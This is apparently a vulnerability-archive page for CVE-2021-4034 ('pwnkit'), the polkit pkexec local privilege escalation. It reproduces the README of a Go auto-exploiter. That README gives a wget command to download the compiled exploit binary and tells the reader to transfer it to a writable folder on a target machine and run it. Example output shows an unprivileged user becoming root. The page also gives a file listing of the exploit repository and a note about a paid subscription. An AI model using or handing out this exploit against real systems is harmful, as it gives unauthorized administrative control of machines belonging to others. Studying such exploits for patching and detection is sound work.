Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source
Associated Vulnerability
Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.
Description
pwnkit auto exploiter written in Go, no network connectivity required.
Readme
# CVE-2021-4034
This is my own implementation of CVE-2021-4034, more commonly known as pwnkit. Unlike other automated exploits of CVE-2021-4034 this implementation does not download any additional payloads and is contained all within one easy to transfer file.

## Download
```shell
wget https://github.com/1337Rin/CVE-2021-4034/raw/main/pwnkit
```

## Usage
This exploit has no cli options but it does check if the system is vulnerable and has all the required external commands. To use it just transfer the compiled binary to a writable folder on the target machine and make it executable.
```shell
$ chmod +x pwnkit
```
### Example 1
```shell
./pwnkit
[+] Testing to see if machine is vulnerable
[-] This machine is not vulnerable to pwnkit
[-] Exiting
```
### Example 2
```shell
$ whoami
tester
$ ./pwnkit
[+] Testing to see if machine is vulnerable
[+] This machine is vulnerable to pwnkit
[+] Checking for required commands
[+] gcc exists
[+] echo exists
[+] mkdir exists
[+] cp exists
[+] attempting exploit
manual clean up required
# whoami
root
```
File Snapshot

[4.0K] /data/pocs/fd362bc77e7b2c5279d7208e22f8ce701201c8fb ├── [ 34K] LICENSE ├── [2.3M] pwnkit ├── [3.7K] pwnkit.go └── [1.0K] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →